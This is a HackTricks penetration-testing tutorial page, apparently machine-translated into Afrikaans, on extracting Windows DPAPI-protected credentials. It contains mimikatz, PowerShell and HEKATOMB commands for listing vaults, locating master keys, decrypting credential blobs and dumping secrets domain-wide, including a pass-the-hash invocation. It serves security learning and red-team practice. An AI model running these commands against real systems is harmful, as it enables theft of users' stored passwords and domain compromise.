hacktricks/windows-hardening/windows-local-privilege-escalation/dpapi-extracting-passwords.md

9.4 KiB
Raw Blame History

DPAPI - Uittreksel van Wagwoorde

Leer AWS-hacking vanaf nul tot held met htARTE (HackTricks AWS Red Team Expert)!

RootedCON is die mees relevante sibersekerheidgebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekerheidspesialiste in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

Wat is DPAPI

Die Data Protection API (DPAPI) word hoofsaaklik binne die Windows-bedryfstelsel gebruik vir die simmetriese versleuteling van asimmetriese privaatsleutels, wat gebruik maak van gebruikers- of stelselsekretes as 'n beduidende bron van entropie. Hierdie benadering vereenvoudig versleuteling vir ontwikkelaars deur hulle in staat te stel om data te versleutel met 'n sleutel wat afgelei is van die gebruiker se aanmeldingsgeheime of, vir stelselversleuteling, die stelsel se domeinoutentiseringsgeheime, wat dus die behoefte vir ontwikkelaars om die beskerming van die versleutelingssleutel self te bestuur, uitskakel.

Beveiligde Data deur DPAPI

Onder die persoonlike data wat deur DPAPI beskerm word, is:

  • Internet Explorer en Google Chrome se wagwoorde en outomatiese aanvuldata
  • E-pos en interne FTP-rekeningwagwoorde vir toepassings soos Outlook en Windows Mail
  • Wagwoorde vir gedeelde lêers, bronne, draadlose netwerke, en Windows Vault, insluitend versleutelingssleutels
  • Wagwoorde vir afgeleë lessenaarverbindings, .NET Passport, en privaatsleutels vir verskeie versleuteling- en outentiseringsdoeleindes
  • Netwerkwagwoorde wat bestuur word deur Credential Manager en persoonlike data in toepassings wat CryptProtectData gebruik, soos Skype, MSN Messenger, en meer

Lys Kluis

# From cmd
vaultcmd /listcreds:"Windows Credentials" /all

# From mimikatz
mimikatz vault::list

Geloofsbriewe lêers

Die geloofsbriewe lêers wat beskerm word kan geleë wees in:

dir /a:h C:\Users\username\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

Kry geloofsbriewe-inligting met behulp van mimikatz dpapi::cred, in die respons kan jy interessante inligting soos die versleutelde data en die guidMasterKey vind.

mimikatz dpapi::cred /in:C:\Users\<username>\AppData\Local\Microsoft\Credentials\28350839752B38B238E5D56FDD7891A7

[...]
guidMasterKey      : {3e90dd9e-f901-40a1-b691-84d7f647b8fe}
[...]
pbData             : b8f619[...snip...]b493fe
[..]

Jy kan die mimikatz module dpapi::cred gebruik met die toepaslike /masterkey om te dekripteer:

dpapi::cred /in:C:\path\to\encrypted\file /masterkey:<MASTERKEY>

Meestersleutels

Die DPAPI-sleutels wat gebruik word om die gebruiker se RSA-sleutels te enkripteer, word gestoor onder die %APPDATA%\Microsoft\Protect\{SID}-gids, waar {SID} die Sekuriteitsidentifiseerder van daardie gebruiker is. Die DPAPI-sleutel word gestoor in dieselfde lêer as die meestersleutel wat die gebruikers se privaatsleutels beskerm. Dit is gewoonlik 64 grepe van lukrake data. (Let daarop dat hierdie gids beskerm is, sodat jy dit nie kan lys deur dir vanaf die cmd te gebruik nie, maar jy kan dit vanaf PS lys).

Get-ChildItem C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem C:\Users\USER\AppData\Local\Microsoft\Protect
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\
Get-ChildItem -Hidden C:\Users\USER\AppData\Roaming\Microsoft\Protect\{SID}
Get-ChildItem -Hidden C:\Users\USER\AppData\Local\Microsoft\Protect\{SID}

Hier is hoe 'n klomp Meestersleutels van 'n gebruiker sal lyk:

Gewoonlik is elke meestersleutel 'n versleutelde simmetriese sleutel wat ander inhoud kan ontsluit. Daarom is dit interessant om die versleutelde Meestersleutel te onttrek om later daardie ander inhoud wat daarmee versleutel is, te ontsleutel.

Onttrek meestersleutel & ontsleutel

Kyk na die pos https://www.ired.team/offensive-security/credential-access-and-credential-dumping/reading-dpapi-encrypted-secrets-with-mimikatz-and-c++ vir 'n voorbeeld van hoe om die meestersleutel te onttrek en dit te ontsleutel.

SharpDPAPI

SharpDPAPI is 'n C#-port van sommige DPAPI-funksionaliteit van @gentilkiwi's Mimikatz projek.

HEKATOMB

HEKATOMB is 'n instrument wat outomatiseer die onttrekking van alle gebruikers en rekenaars uit die LDAP-gids en die onttrekking van die rugsteun sleutel van die domeinbeheerder deur RPC. Die skrip sal dan al die rekenaars se IP-adresse oplos en 'n smbclient op al die rekenaars uitvoer om al die DPAPI-blobs van alle gebruikers te herwin en alles met die domeinrugsteunsleutel te ontsluit.

python3 hekatomb.py -hashes :ed0052e5a66b1c8e942cc9481a50d56 DOMAIN.local/administrator@10.0.0.1 -debug -dnstcp

Met die uit LDAP onttrekte lys van rekenaars kan jy elke subnetwerk vind selfs al het jy hulle nie geken nie!

"Omdat Domeinadministrateur-regte nie genoeg is nie. Hack hulle almal."

DonPAPI

DonPAPI kan geheime beskerm deur DPAPI outomaties dump.

Verwysings

RootedCON is die mees relevante sibersekerheidgebeurtenis in Spanje en een van die belangrikste in Europa. Met die missie om tegniese kennis te bevorder, is hierdie kongres 'n kookpunt vir tegnologie- en sibersekerheidspesialiste in elke dissipline.

{% embed url="https://www.rootedcon.com/" %}

Leer AWS-hacking van nul tot held met htARTE (HackTricks AWS Red Team Expert)!